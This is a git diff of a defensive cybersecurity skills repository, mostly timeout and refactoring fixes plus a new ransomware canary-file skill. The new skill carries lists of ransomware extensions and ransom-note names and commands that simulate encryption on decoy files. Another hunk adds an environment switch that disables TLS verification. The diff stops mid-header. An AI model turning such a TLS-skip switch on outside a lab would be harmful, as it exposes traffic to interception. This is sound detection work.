test_rule_against_pcap(pcap_path, rule_file=None): cmd = [ SNORT_BIN, "-c", SNORT_CONF, - "--daq-dir", "/usr/local/lib/daq", + "--daq-dir", DAQ_DIR, "-r", pcap_path, "-l", output_dir, "-A", "fast", ] try: diff --git a/skills/configuring-suricata-for-network-monitoring/scripts/agent.py b/skills/configuring-suricata-for-network-monitoring/scripts/agent.py index 2bbf2b10..2d3ec776 100644 --- a/skills/configuring-suricata-for-network-monitoring/scripts/agent.py +++ b/skills/configuring-suricata-for-network-monitoring/scripts/agent.py @@ -7,13 +7,12 @@ import subprocess import sys from collections import Counter from datetime import datetime -from pathlib import Path -SURICATA_BIN = "/usr/bin/suricata" -SURICATA_CONF = "/etc/suricata/suricata.yaml" -EVE_LOG = "/var/log/suricata/eve.json" -RULES_DIR = "/var/lib/suricata/rules" +SURICATA_BIN = os.environ.get("SURICATA_BIN", "/usr/bin/suricata") +SURICATA_CONF = os.environ.get("SURICATA_CONF", "/etc/suricata/suricata.yaml") +EVE_LOG = os.environ.get("SURICATA_EVE_LOG", "/var/log/suricata/eve.json") +RULES_DIR = os.environ.get("SURICATA_RULES_DIR", "/var/lib/suricata/rules") def check_suricata_status(): @@ -34,7 +33,7 @@ def check_suricata_status(): running = False try: - r = subprocess.run(["pgrep", "-x", "suricata"], capture_output=True, text=True) + r = subprocess.run(["pgrep", "-x", "suricata"], capture_output=True, text=True, timeout=120) running = r.returncode == 0 except FileNotFoundError: pass diff --git a/skills/configuring-tls-1-3-for-secure-communications/SKILL.md b/skills/configuring-tls-1-3-for-secure-communications/SKILL.md index e1616c63..3791eda7 100644 --- a/skills/configuring-tls-1-3-for-secure-communications/SKILL.md +++ b/skills/configuring-tls-1-3-for-secure-communications/SKILL.md @@ -48,7 +48,7 @@ TLS 1.3 (RFC 8446) is the latest version of the Transport Layer Security protoco - **secp384r1**: NIST P-384 ECDH (higher security margin) - **x448**: Curve448 ECDH (highest security) -## Implementation Steps +## Workflow 1. Verify OpenSSL version supports TLS 1.3 (1.1.1+) 2. Generate or obtain TLS certificate and private key diff --git a/skills/configuring-tls-1-3-for-secure-communications/scripts/agent.py b/skills/configuring-tls-1-3-for-secure-communications/scripts/agent.py index 5dc639eb..9ed416d7 100644 --- a/skills/configuring-tls-1-3-for-secure-communications/scripts/agent.py +++ b/skills/configuring-tls-1-3-for-secure-communications/scripts/agent.py @@ -10,7 +10,6 @@ from datetime import datetime try: from cryptography import x509 - from cryptography.hazmat.primitives import hashes except ImportError: print("Install: pip install cryptography") sys.exit(1) diff --git a/skills/configuring-windows-defender-advanced-settings/scripts/agent.py b/skills/configuring-windows-defender-advanced-settings/scripts/agent.py index 41f6f223..62341f17 100644 --- a/skills/configuring-windows-defender-advanced-settings/scripts/agent.py +++ b/skills/configuring-windows-defender-advanced-settings/scripts/agent.py @@ -2,7 +2,6 @@ """Windows Defender advanced configuration audit agent.""" import json -import sys import argparse import subprocess from datetime import datetime diff --git a/skills/configuring-windows-event-logging-for-detection/scripts/agent.py b/skills/configuring-windows-event-logging-for-detection/scripts/agent.py index a6cee286..c3844170 100644 --- a/skills/configuring-windows-event-logging-for-detection/scripts/agent.py +++ b/skills/configuring-windows-event-logging-for-detection/scripts/agent.py @@ -2,7 +2,6 @@ """Windows event logging configuration audit agent.""" import json -import sys import argparse import subprocess from datetime import datetime diff --git a/skills/configuring-zscaler-private-access-for-ztna/scripts/agent.py b/skills/configuring-zscaler-private-access-for-ztna/scripts/agent.py index d0b23a19..3273e871 100644 --- a/skills/configuring-zscaler-private-access-for-ztna/scripts/agent.py +++ b/skills/configuring-zscaler-private-access-for-ztna/scripts/agent.py @@ -24,13 +24,13 @@ class ZPAClient: def _authenticate(self, client_id, client_secret): resp = requests.post(f"{self.base_url}/signin", json={ "client_id": client_id, "client_secret": client_secret, - }) + }, timeout=30) resp.raise_for_status() return resp.json()["token"] def _get(self, endpoint): resp = requests.get(f"{self.base_url}/mgmtconfig/v1/admin/customers/{self.customer_id}/{endpoint}", - headers={"Authorization": f"Bearer {self.token}"}) + headers={"Authorization": f"Bearer {self.token}"}, timeout=30) resp.raise_for_status() return resp.json() diff --git a/skills/detecting-credential-dumping-with-edr/LICENSE b/skills/containing-active-security-breach.bak/LICENSE similarity index 100% rename from skills/detecting-credential-dumping-with-edr/LICENSE rename to skills/containing-active-security-breach.bak/LICENSE diff --git a/skills/containing-active-security-breach/SKILL.md b/skills/containing-active-security-breach.bak/SKILL.md similarity index 100% rename from skills/containing-active-security-breach/SKILL.md rename to skills/containing-active-security-breach.bak/SKILL.md diff --git a/skills/containing-active-security-breach/assets/template.md b/skills/containing-active-security-breach.bak/assets/template.md similarity index 100% rename from skills/containing-active-security-breach/assets/template.md rename to skills/containing-active-security-breach.bak/assets/template.md diff --git a/skills/containing-active-security-breach/references/api-reference.md b/skills/containing-active-security-breach.bak/references/api-reference.md similarity index 100% rename from skills/containing-active-security-breach/references/api-reference.md rename to skills/containing-active-security-breach.bak/references/api-reference.md diff --git a/skills/containing-active-security-breach/references/standards.md b/skills/containing-active-security-breach.bak/references/standards.md similarity index 100% rename from skills/containing-active-security-breach/references/standards.md rename to skills/containing-active-security-breach.bak/references/standards.md diff --git a/skills/containing-active-security-breach/references/workflows.md b/skills/containing-active-security-breach.bak/references/workflows.md similarity index 100% rename from skills/containing-active-security-breach/references/workflows.md rename to skills/containing-active-security-breach.bak/references/workflows.md diff --git a/skills/containing-active-security-breach/scripts/agent.py b/skills/containing-active-security-breach.bak/scripts/agent.py similarity index 98% rename from skills/containing-active-security-breach/scripts/agent.py rename to skills/containing-active-security-breach.bak/scripts/agent.py index c8ecb65f..c35865ac 100644 --- a/skills/containing-active-security-breach/scripts/agent.py +++ b/skills/containing-active-security-breach.bak/scripts/agent.py @@ -20,7 +20,7 @@ def isolate_host_crowdstrike(api_base, api_token, device_id): resp = requests.post(f"{api_base}/devices/entities/devices-actions/v2", params={"action_name": "contain"}, headers=headers, - json={"ids": [device_id]}) + json={"ids": [device_id]}, timeout=30) return {"action": "host_isolation", "device_id": device_id, "status": resp.status_code, "response": resp.json()} diff --git a/skills/containing-active-security-breach/scripts/process.py b/skills/containing-active-security-breach.bak/scripts/process.py similarity index 99% rename from skills/containing-active-security-breach/scripts/process.py rename to skills/containing-active-security-breach.bak/scripts/process.py index bf16b9da..0165c122 100644 --- a/skills/containing-active-security-breach/scripts/process.py +++ b/skills/containing-active-security-breach.bak/scripts/process.py @@ -307,7 +307,7 @@ class SplunkScopeAssessment: "latest_time": latest, "output_mode": "json", }, - verify=False, + verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true", # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments ) resp.raise_for_status() return resp.json() diff --git a/skills/correlating-threat-campaigns/scripts/agent.py b/skills/correlating-threat-campaigns/scripts/agent.py index 1a6f03db..6bfe8209 100644 --- a/skills/correlating-threat-campaigns/scripts/agent.py +++ b/skills/correlating-threat-campaigns/scripts/agent.py @@ -4,11 +4,9 @@ import json import sys import urllib.request -import urllib.parse import ssl from collections import Counter from datetime import datetime -from math import radians, sin, cos, sqrt, atan2 class MISPClient: diff --git a/skills/deobfuscating-powershell-obfuscated-malware/SKILL.md b/skills/deobfuscating-powershell-obfuscated-malware/SKILL.md index 553cc78b..37e8704e 100644 --- a/skills/deobfuscating-powershell-obfuscated-malware/SKILL.md +++ b/skills/deobfuscating-powershell-obfuscated-malware/SKILL.md @@ -38,7 +38,7 @@ PowerShell's Abstract Syntax Tree exposes the parsed structure of scripts regard By replacing `Invoke-Expression` (IEX) with `Write-Output`, analysts can safely capture the deobfuscated script content that would normally be executed. This technique works across multiple layers by iteratively replacing IEX calls until the final payload is revealed. -## Practical Steps +## Workflow ### Step 1: Identify Obfuscation Layers diff --git a/skills/deobfuscating-powershell-obfuscated-malware/scripts/agent.py b/skills/deobfuscating-powershell-obfuscated-malware/scripts/agent.py index 4223cf86..107f095e 100644 --- a/skills/deobfuscating-powershell-obfuscated-malware/scripts/agent.py +++ b/skills/deobfuscating-powershell-obfuscated-malware/scripts/agent.py @@ -2,7 +2,6 @@ """PowerShell obfuscated malware deobfuscation agent.""" import json -import sys import argparse import re import base64 diff --git a/skills/deploying-cloudflare-access-for-zero-trust/scripts/agent.py b/skills/deploying-cloudflare-access-for-zero-trust/scripts/agent.py index 7d2e9c01..7c82b058 100644 --- a/skills/deploying-cloudflare-access-for-zero-trust/scripts/agent.py +++ b/skills/deploying-cloudflare-access-for-zero-trust/scripts/agent.py @@ -21,7 +21,7 @@ class CloudflareAccessClient: self.headers = {"Authorization": f"Bearer {api_token}", "Content-Type": "application/json"} def _get(self, endpoint): - resp = requests.get(f"{self.base}/{endpoint}", headers=self.headers) + resp = requests.get(f"{self.base}/{endpoint}", headers=self.headers, timeout=30) resp.raise_for_status() return resp.json() diff --git a/skills/detecting-golden-ticket-attacks/LICENSE b/skills/deploying-decoy-files-for-ransomware-detection/LICENSE similarity index 100% rename from skills/detecting-golden-ticket-attacks/LICENSE rename to skills/deploying-decoy-files-for-ransomware-detection/LICENSE diff --git a/skills/deploying-decoy-files-for-ransomware-detection/SKILL.md b/skills/deploying-decoy-files-for-ransomware-detection/SKILL.md new file mode 100644 index 00000000..7ac70104 --- /dev/null +++ b/skills/deploying-decoy-files-for-ransomware-detection/SKILL.md @@ -0,0 +1,182 @@ +--- +name: deploying-decoy-files-for-ransomware-detection +description: > + Deploys canary files (honeytokens) across file systems to detect ransomware + encryption activity in real time. Uses strategically placed decoy documents + monitored via file integrity monitoring or OS-level watchdogs to trigger + alerts when ransomware modifies or encrypts them. Activates for requests + involving ransomware canary deployment, honeyfile setup, deception-based + ransomware detection, or file integrity monitoring for encryption. +domain: cybersecurity +subdomain: ransomware-defense +tags: [ransomware, detection, canary-files, honeytokens, deception, file-integrity] +version: 1.0.0 +author: mahipal +license: Apache-2.0 +--- + +# Deploying Decoy Files for Ransomware Detection + +## When to Use + +- Setting up early-warning detection for ransomware on file servers or endpoints +- Supplementing EDR/AV with a deception-based detection layer that catches unknown ransomware variants +- Creating high-fidelity ransomware alerts that have very low false-positive rates (legitimate users have no reason to touch decoy files) +- Testing ransomware response procedures by validating that canary file modifications trigger the expected alerting pipeline +- Protecting high-value file shares (finance, HR, legal) with tripwire files that indicate unauthorized encryption activity + +**Do not use** decoy files as the sole ransomware defense. They are a detection mechanism, not a prevention mechanism, and should complement backups, EDR, and access controls. + +## Prerequisites + +- Python 3.8+ with `watchdog` library for cross-platform file system monitoring +- Administrative access to target file shares or endpoints for canary placement +- File integrity monitoring (FIM) tool or SIEM integration for alert routing +- Understanding of target directory structure to place canaries in high-value locations +- Windows: NTFS change journal or ReadDirectoryChangesW API access +- Linux: inotify support in kernel (standard in modern kernels) + +## Workflow + +### Step 1: Design Canary File Strategy + +Plan file placement for maximum detection coverage: + +``` +Canary File Placement Strategy: +━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +Naming Convention: + - Use names that sort FIRST and LAST alphabetically in each directory + - Ransomware typically enumerates directories A-Z or Z-A + - Examples: _AAAA_budget_2024.docx, ~zzzz_report_final.xlsx + +Placement Locations: + - Root of every file share (\\server\share\_AAAA_canary.docx) + - Desktop, Documents, Downloads on each endpoint + - Department-specific shares (Finance, HR, Legal) + - Backup staging directories + - Home directories of high-privilege accounts + +File Types: + - .docx, .xlsx, .pdf (most targeted by ransomware) + - .sql, .bak (database files, high value) + - Mix of file types to detect ransomware that targets specific extensions +``` + +### Step 2: Generate Realistic Canary Files + +Create decoy files with realistic content and metadata: + +```python +import os +import time + +def create_canary_docx(filepath, content="Q4 Financial Summary - Confidential"): + """Create a realistic .docx canary file using python-docx.""" + from docx import Document + doc = Document() + doc.add_heading("Financial Report - CONFIDENTIAL", level=1) + doc.add_paragraph(content) + doc.add_paragraph(f"Generated: {time.strftime('%Y-%m-%d')}") + doc.save(filepath) + +def create_canary_txt(filepath): + """Create a simple text canary with known content for hash verification.""" + content = "CANARY_TOKEN_DO_NOT_MODIFY\n" + content += f"Created: {time.strftime('%Y-%m-%dT%H:%M:%S')}\n" + content += "This file is monitored for unauthorized changes.\n" + with open(filepath, "w") as f: + f.write(content) +``` + +### Step 3: Deploy File System Watcher + +Monitor canary files for any modification, rename, or deletion: + +```python +from watchdog.observers import Observer +from watchdog.events import FileSystemEventHandler + +class CanaryHandler(FileSystemEventHandler): + def __init__(self, canary_paths, alert_callback): + self.canary_paths = set(canary_paths) + self.alert_callback = alert_callback + + def on_modified(self, event): + if event.src_path in self.canary_paths: + self.alert_callback("MODIFIED", event.src_path) + + def on_deleted(self, event): + if event.src_path in self.canary_paths: + self.alert_callback("DELETED", event.src_path) + + def on_moved(self, event): + if event.src_path in self.canary_paths: + self.alert_callback("RENAMED", event.src_path) +``` + +### Step 4: Configure Alerting and Response + +Define automated responses when canary files are triggered: + +``` +Alert Response Matrix: +━━━━━━━━━━━━━━━━━━━━━ +Event: Canary MODIFIED + → Severity: CRITICAL + → Action: Alert SOC, identify modifying process (PID), isolate endpoint + +Event: Canary DELETED + → Severity: HIGH + → Action: Alert SOC, check for ransomware note in same directory + +Event: Canary RENAMED (new extension added) + → Severity: CRITICAL + → Action: Alert SOC, check extension against known ransomware extensions + → Automated: Kill modifying process, disable network interface + +Event: Multiple canaries triggered within 60 seconds + → Severity: EMERGENCY + → Action: Network-wide isolation, activate incident response plan +``` + +### Step 5: Validate Detection Coverage + +Test that canary files detect actual ransomware behavior: + +```bash +# Simulate ransomware encryption (safe test - modifies canary content) +echo "ENCRYPTED_BY_TEST" > /path/to/canary/_AAAA_budget.docx + +# Simulate ransomware rename (adds extension) +mv /path/to/canary/report.xlsx /path/to/canary/report.xlsx.locked + +# Verify alerts were generated in SIEM/alerting system +``` + +## Verification + +- Confirm all canary files are present and unmodified using stored hash baselines +- Verify that modifying any canary file generates an alert within the expected timeframe (under 30 seconds) +- Test that alert routing to SOC/SIEM is functional with a controlled modification +- Validate that automated response actions (process kill, network isolation) execute correctly +- Check that canary files survive normal backup and restore operations +- Ensure legitimate users and processes are excluded from false-positive alerts (backup agents, AV scans) + +## Key Concepts + +| Term | Definition | +|------|------------| +| **Canary File** | A decoy file placed in a directory that is monitored for any access or modification, serving as a tripwire for unauthorized activity | +| **Honeytoken** | A broader category of deception artifacts (files, credentials, database records) designed to alert when accessed | +| **File Integrity Monitoring** | Continuous monitoring of file attributes (hash, size, permissions, timestamps) to detect unauthorized changes | +| **ReadDirectoryChangesW** | Windows API for monitoring file system changes in a directory; used by the watchdog library on Windows | +| **inotify** | Linux kernel subsystem for monitoring file system events; provides near-instant notification of file changes | + +## Tools & Systems + +- **watchdog (Python)**: Cross-platform file system event monitoring library supporting Windows, Linux, and macOS +- **Canarytokens (Thinkst)**: Free hosted service for generating various types of canary tokens including files, URLs, and DNS tokens +- **OSSEC/Wazuh**: Open-source HIDS with built-in file integrity monitoring and alerting capabilities +- **Elastic Endpoint**: Uses canary files internally for ransomware protection and key capture +- **Sysmon**: Windows system monitor that logs file creation events (Event ID 11) for canary file monitoring diff --git a/skills/deploying-decoy-files-for-ransomware-detection/references/api-reference.md b/skills/deploying-decoy-files-for-ransomware-detection/references/api-reference.md new file mode 100644 index 00000000..f06022a0 --- /dev/null +++ b/skills/deploying-decoy-files-for-ransomware-detection/references/api-reference.md @@ -0,0 +1,121 @@ +# API Reference: Decoy Files for Ransomware Detection + +## watchdog Library (Python) + +### Installation +```bash +pip install watchdog +``` + +### Observer Setup +```python +from watchdog.observers import Observer +from watchdog.events import FileSystemEventHandler + +observer = Observer() +observer.schedule(handler, path, recursive=True) +observer.start() +observer.join() +``` + +### Event Types +| Event Class | Trigger | +|------------|---------| +| `FileCreatedEvent` | New file created in watched directory | +| `FileModifiedEvent` | Existing file content or metadata changed | +| `FileDeletedEvent` | File removed from watched directory | +| `FileMovedEvent` | File renamed or moved (src_path, dest_path) | +| `DirCreatedEvent` | New directory created | +| `DirDeletedEvent` | Directory removed | + +### Handler Methods +| Method | Called When | +|--------|-----------| +| `on_created(event)` | File/directory created | +| `on_modified(event)` | File/directory modified | +| `on_deleted(event)` | File/directory deleted | +| `on_moved(event)` | File/directory renamed/moved | +| `on_any_event(event)` | Any file system event | + +## Windows ReadDirectoryChangesW API + +### Monitored Changes +| Flag | Description | +|------|-------------| +| `FILE_NOTIFY_CHANGE_FILE_NAME` | File created, deleted, or renamed | +| `FILE_NOTIFY_CHANGE_DIR_NAME` | Directory changes | +| `FILE_NOTIFY_CHANGE_SIZE` | File size changed | +| `FILE_NOTIFY_CHANGE_LAST_WRITE` | Last write time changed | +| `FILE_NOTIFY_CHANGE_SECURITY` | Security descriptor changed | + +## Linux inotify Events + +### Event Masks +| Mask | Description | +|------|-------------| +| `IN_MODIFY` | File was modified | +| `IN_DELETE` | File was deleted | +| `IN_MOVED_FROM` | File was renamed (old name) | +| `IN_MOVED_TO` | File was renamed (new name) | +| `IN_CREATE` | File was created | +| `IN_ATTRIB` | Metadata changed | + +## Canarytokens (Thinkst) + +### Generate Token +``` +URL: https://canarytokens.org/generate +Types: Word document, PDF, DNS, HTTP, AWS key, SQL, SVN +``` + +### Alert Webhook +``` +POST https://canarytokens.org/webhook +Payload: { "token": "...", "src_ip": "...", "time": "..." } +``` + +## OSSEC/Wazuh File Integrity Monitoring + +### Configuration (ossec.conf) +```xml + + 60 + /path/to/canaries + yes + +``` + +### Alert Rule IDs +| Rule ID | Description | +|---------|-------------| +| 550 | File integrity checksum changed | +| 553 | File deleted | +| 554 | New file added to monitored directory | + +## Sysmon File Monitoring + +### Event ID 11 - FileCreate +```xml + + _AAAA_ + ~zzzz_ + +``` + +### Event ID 23 - FileDelete +Logs file deletions including archived file content. + +## Common Ransomware File Extensions + +| Extension | Family | +|-----------|--------| +| .locked | LockBit, Generic | +| .encrypted | Generic | +| .wncry | WannaCry | +| .dharma | Dharma/CrySiS | +| .basta | Black Basta | +| .lockbit | LockBit 3.0 | +| .conti | Conti | +| .ryuk | Ryuk | +| .revil | REvil/Sodinokibi | +| .akira | Akira | diff --git a/skills/deploying-decoy-files-for-ransomware-detection/scripts/agent.py b/skills/deploying-decoy-files-for-ransomware-detection/scripts/agent.py new file mode 100644 index 00000000..2d038183 --- /dev/null +++ b/skills/deploying-decoy-files-for-ransomware-detection/scripts/agent.py @@ -0,0 +1,260 @@ +#!/usr/bin/env python3 +"""Decoy file (canary) deployment agent for ransomware detection. + +Deploys canary files across file systems and monitors them for modifications +that indicate ransomware encryption activity. Provides real-time alerting +when decoy files are modified, renamed, or deleted. +""" + +import hashlib +import json +import logging +import os +import sys +import time +from datetime import datetime + +logging.basicConfig( + level=logging.INFO, + format="%(asctime)s [%(levelname)s] %(message)s", +) +logger = logging.getLogger("canary_agent") + +CANARY_EXTENSIONS = [".docx", ".xlsx", ".pdf", ".csv", ".sql", ".txt", ".pptx"] + +CANARY_NAMES_FIRST = [ + "_AAAA_budget_2024", "_AAAA_financial_report", "_AAAA_payroll_data", + "_AAA_employee_records", "_AAA_client_contracts", +] + +CANARY_NAMES_LAST = [ + "~zzzz_annual_review", "~zzzz_backup_config", "~zzzz_tax_returns", + "~zzz_insurance_claims", "~zzz_merger_docs", +] + +RANSOMWARE_EXTENSIONS = { + ".locked", ".encrypted", ".crypt", ".locky", ".cerber", ".wncry", + ".dharma", ".basta", ".blackcat", ".hive", ".royal", ".akira", + ".lockbit", ".conti", ".ryuk", ".maze", ".revil", ".phobos", + ".makop", ".stop", ".djvu", ".rhysida", +} + +RANSOM_NOTE_NAMES = { + "readme.txt", "readme.html", "decrypt.txt", "decrypt.html", + "how_to_decrypt.txt", "restore_files.txt", "read_me.txt", + "how_to_recover.txt", "ransom_note.txt", +} + + +def compute_file_hash(filepath): + """Compute SHA-256 hash of a file.""" + sha256 = hashlib.sha256() + with open(filepath, "rb") as f: + for chunk in iter(lambda: f.read(65536), b""): + sha256.update(chunk) + return sha256.hexdigest() + + +def generate_canary_content(canary_type, name): + """Generate realistic content for canary files.""" + timestamp = datetime.now().isoformat() + content = f"CANARY_TOKEN:{name}\n" + content += f"Generated: {timestamp}\n" + content += f"Classification: CONFIDENTIAL\n\n" + + if "budget" in name or "financial" in name: + content += "Q4 Financial Summary\n" + content += "Total Revenue: $12,450,000\n" + content += "Operating Expenses: $8,230,000\n" + content += "Net Income: $4,220,000\n" + elif "payroll" in name or "employee" in name: + content += "Employee Records - Human Resources\n" + content += "Total Headcount: 342\n" + content += "Departments: Engineering, Sales, Marketing, Operations\n" + elif "client" in name or "contract" in name: + content += "Client Contract Summary\n" + content += "Active Contracts: 156\n" + content += "Pending Renewal: 23\n" + else: + content += "Internal Document - Do Not Distribute\n" + content += "This document contains sensitive business information.\n" + + return content + + +def deploy_canaries(target_dirs, canaries_per_dir=4): + """Deploy canary files to target directories.""" + deployed = [] + names = CANARY_NAMES_FIRST[:canaries_per_dir // 2] + CANARY_NAMES_LAST[:canaries_per_dir // 2] + + for target_dir in target_dirs: + if not os.path.isdir(target_dir): + logger.warning("Directory does not exist: %s", target_dir) + continue + + for i, name in enumerate(names): + ext = CANARY_EXTENSIONS[i % len(CANARY_EXTENSIONS)] + filename = f"{name}{ext}" + filepath = os.path.join(target_dir, filename) + + content = generate_canary_content(ext, name) + with open(filepath, "w") as f: + f.write(content) + + file_hash = compute_file_hash(filepath) + record = { + "path": filepath, + "hash": file_hash, + "size": os.path.getsize(filepath), + "deployed_at": datetime.now().isoformat(), + "name": filename, + } + deployed.append(record) + logger.info("Deployed canary: %s (hash: %s)", filepath, file_hash[:16]) + + return deployed + + +def check_canary_integrity(canary_records): + """Check all canary files for modifications, deletions, or renames.""" + alerts = [] + + for record in canary_records: + filepath = record["path"] + + if not os.path.exists(filepath): + # Check if file was renamed with ransomware extension + parent_dir = os.path.dirname(filepath) + basename = os.path.basename(filepath) + renamed = False + if os.path.isdir(parent_dir): + for f in os.listdir(parent_dir): + if f.startswith(basename) and any(f.endswith(ext) for ext in RANSOMWARE_EXTENSIONS): + alerts.append({ + "type": "RANSOMWARE_RENAME", + "severity": "CRITICAL", + "original": filepath, + "renamed_to": os.path.join(parent_dir, f), + "timestamp": datetime.now().isoformat(), + }) + renamed = True + break + + if not renamed: + alerts.append({ + "type": "CANARY_DELETED", + "severity": "HIGH", + "path": filepath, + "timestamp": datetime.now().isoformat(), + }) + continue + + current_hash = compute_file_hash(filepath) + if current_hash != record["hash"]: + alerts.append({ + "type": "CANARY_MODIFIED", + "severity": "CRITICAL", + "path": filepath, + "original_hash": record["hash"], + "current_hash": current_hash, + "timestamp": datetime.now().isoformat(), + }) + + current_size = os.path.getsize(filepath) + if abs(current_size - record["size"]) > record["size"] * 0.5: + alerts.append({ + "type": "SIGNIFICANT_SIZE_CHANGE", + "severity": "HIGH", + "path": filepath, + "original_size": record["size"], + "current_size": current_size, + "timestamp": datetime.now().isoformat(), + }) + + # Check for ransom notes in canary directories + checked_dirs = set() + for record in canary_records: + parent_dir = os.path.dirname(record["path"]) + if parent_dir in checked_dirs or not os.path.isdir(parent_dir): + continue + checked_dirs.add(parent_dir) + for f in os.listdir(parent_dir): + if f.lower() in RANSOM_NOTE_NAMES: + alerts.append({ + "type": "RANSOM_NOTE_DETECTED", + "severity": "CRITICAL", + "path": os.path.join(parent_dir, f), + "timestamp": datetime.now().isoformat(), + }) + + return alerts + + +def monitor_loop(canary_records, interval=10): + """Continuously monitor canary files at specified interval.""" + logger.info("Starting canary monitoring loop (interval: %ds)", interval) + logger.info("Monitoring %d canary files", len(canary_records)) + + while True: + alerts = check_canary_integrity(canary_records) + if alerts: + for alert in alerts: + logger.critical( + "ALERT [%s] %s: %s", + alert["severity"], + alert["type"], + alert.get("path", alert.get("original", "unknown")), + ) + print(json.dumps({"alerts": alerts}, indent=2)) + time.sleep(interval) + + +if __name__ == "__main__": + print("=" * 60) + print("Ransomware Canary File Deployment Agent") + print("Deploy and monitor decoy files for encryption detection") + print("=" * 60) + + if len(sys.argv) < 2: + print("\nUsage:") + print(" python agent.py deploy [dir2] ... Deploy canaries") + print(" python agent.py check Check canary integrity") + print(" python agent.py monitor Continuous monitoring") + sys.exit(0) + + command = sys.argv[1] + + if command == "deploy": + dirs = sys.argv[2:] if len(sys.argv) > 2 else [os.getcwd()] + records = deploy_canaries(dirs) + registry_file = "canary_registry.json" + with open(registry_file, "w") as f: + json.dump(records, f, indent=2) + print(f"\n[+] Deployed {len(records)} canary files across {len(dirs)} directories") + print(f"[+] Registry saved to: {registry_file}") + + elif command == "check": + if len(sys.argv) < 3: + print("[!] Provide canary registry JSON file") + sys.exit(1) + with open(sys.argv[2]) as f: + records = json.load(f) + alerts = check_canary_integrity(records) + if alerts: + print(f"\n[!] {len(alerts)} ALERTS DETECTED:") + for a in alerts: + print(f" [{a['severity']}] {a['type']}: {a.get('path', a.get('original'))}") + else: + print(f"\n[+] All {len(records)} canary files intact. No alerts.") + + elif command == "monitor": + if len(sys.argv) < 3: + print("[!] Provide canary registry JSON file") + sys.exit(1) + with open(sys.argv[2]) as f: + records = json.load(f) + interval = int(sys.argv[3]) if len(sys.argv) > 3 else 10 + monitor_loop(records, interval) + + else: + print(f"[!] Unknown command: {command}") diff --git a/skills/deploying-edr-agent-with-crowdstrike/scripts/agent.py b/skills/deploying-edr-agent-with-crowdstrike/scripts/agent.py index f0434470..a86076bd 100644 --- a/skills/deploying-edr-agent-with-crowdstrike/scripts/agent.py +++ b/skills/deploying-edr-agent-with-crowdstrike/scripts/agent.py @@ -7,7 +7,7 @@ import argparse from datetime import datetime try: - from falconpy import Hosts, Detections, RealTimeResponse, SensorDownload + from falconpy import Hosts, Detections except ImportError: print("Install: pip install crowdstrike-falconpy") sys.exit(1) diff --git a/skills/deploying-osquery-for-endpoint-monitoring/scripts/agent.py b/skills/deploying-osquery-for-endpoint-monitoring/scripts/agent.py index d267a1e3..d3b3603e 100644 --- a/skills/deploying-osquery-for-endpoint-monitoring/scripts/agent.py +++ b/skills/deploying-osquery-for-endpoint-monitoring/scripts/agent.py @@ -2,7 +2,6 @@ """osquery endpoint monitoring agent for security auditing.""" import json -import sys import argparse import subprocess from datetime import datetime diff --git a/skills/deploying-ransomware-canary-files/scripts/agent.py b/skills/deploying-ransomware-canary-files/scripts/agent.py index ae53080c..82fcb0ff 100644 --- a/skills/deploying-ransomware-canary-files/scripts/agent.py +++ b/skills/deploying-ransomware-canary-files/scripts/agent.py @@ -15,7 +15,6 @@ import logging import smtplib import argparse import platform -import subprocess from pathlib import Path from email.mime.text import MIMEText from datetime import datetime, timezone @@ -269,6 +268,7 @@ def send_syslog_alert(alert_data, syslog_server="127.0.0.1", syslog_port=514): ) try: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + sock.settimeout(10) sock.sendto(message.encode("utf-8"), (syslog_server, syslog_port)) sock.close() logger.info("Syslog alert sent to %s:%d", syslog_server, syslog_port) diff --git a/skills/deploying-software-defined-perimeter/SKILL.md b/skills/deploying-software-defined-perimeter/SKILL.md index b15d2b76..12ad7e4e 100644 --- a/skills/deploying-software-defined-perimeter/SKILL.md +++ b/skills/deploying-software-defined-perimeter/SKILL.md @@ -1,6 +1,6 @@ --- name: deploying-software-defined-perimeter -description: Deploying Software Defined Perimeter +description: Deploy a Software-Defined Perimeter using the CSA v2.0 specification with Single Packet Authorization, mutual TLS, and SDP controller/gateway configuration to enforce zero trust network access. domain: cybersecurity subdomain: security-operations tags: [cybersecurity] @@ -77,7 +77,7 @@ After SPA validation, both the client and server authenticate each other using X ### Dynamic Provisioning SDP connections are provisioned on-demand based on real-time policy evaluation. No persistent network tunnels exist; each session is individually authorized and encrypted. -## Procedure +## Workflow ### Phase 1: SDP Controller Deployment diff --git a/skills/detecting-anomalies-in-industrial-control-systems/scripts/agent.py b/skills/detecting-anomalies-in-industrial-control-systems/scripts/agent.py index c6339096..d8c16377 100644 --- a/skills/detecting-anomalies-in-industrial-control-systems/scripts/agent.py +++ b/skills/detecting-anomalies-in-industrial-control-systems/scripts/agent.py @@ -4,7 +4,6 @@ import json import sys import argparse -import struct import socket from datetime import datetime diff --git a/skills/detecting-anomalous-authentication-patterns/scripts/agent.py b/skills/detecting-anomalous-authentication-patterns/scripts/agent.py index 7e74b31e..249d020e 100644 --- a/skills/detecting-anomalous-authentication-patterns/scripts/agent.py +++ b/skills/detecting-anomalous-authentication-patterns/scripts/agent.py @@ -7,7 +7,6 @@ import csv from datetime import datetime, timedelta from math import radians, sin, cos, sqrt, atan2 from collections import Counter -from pathlib import Path def haversine_km(lat1, lon1, lat2, lon2): diff --git a/skills/detecting-arp-poisoning-in-network-traffic/SKILL.md b/skills/detecting-arp-poisoning-in-network-traffic/SKILL.md index 08f14895..f90f7d6c 100644 --- a/skills/detecting-arp-poisoning-in-network-traffic/SKILL.md +++ b/skills/detecting-arp-poisoning-in-network-traffic/SKILL.md @@ -54,7 +54,7 @@ ARP Poisoning Attack: | ARP from non-DHCP source | Static IP claims from unknown devices | Medium | | Gateway MAC change | Default gateway MAC address changed | Critical | -## Implementation Steps +## Workflow ### Step 1: Deploy ARPWatch for Continuous Monitoring diff --git a/skills/detecting-arp-poisoning-in-network-traffic/scripts/agent.py b/skills/detecting-arp-poisoning-in-network-traffic/scripts/agent.py index a86a12d3..cfbfdb83 100644 --- a/skills/detecting-arp-poisoning-in-network-traffic/scripts/agent.py +++ b/skills/detecting-arp-poisoning-in-network-traffic/scripts/agent.py @@ -2,14 +2,13 @@ """ARP poisoning detection agent for network traffic analysis.""" import json -import sys import argparse import subprocess from datetime import datetime from collections import defaultdict try: - from scapy.all import rdpcap, ARP, Ether + from scapy.all import rdpcap, ARP except ImportError: rdpcap = None diff --git a/skills/detecting-attacks-on-historian-servers/scripts/agent.py 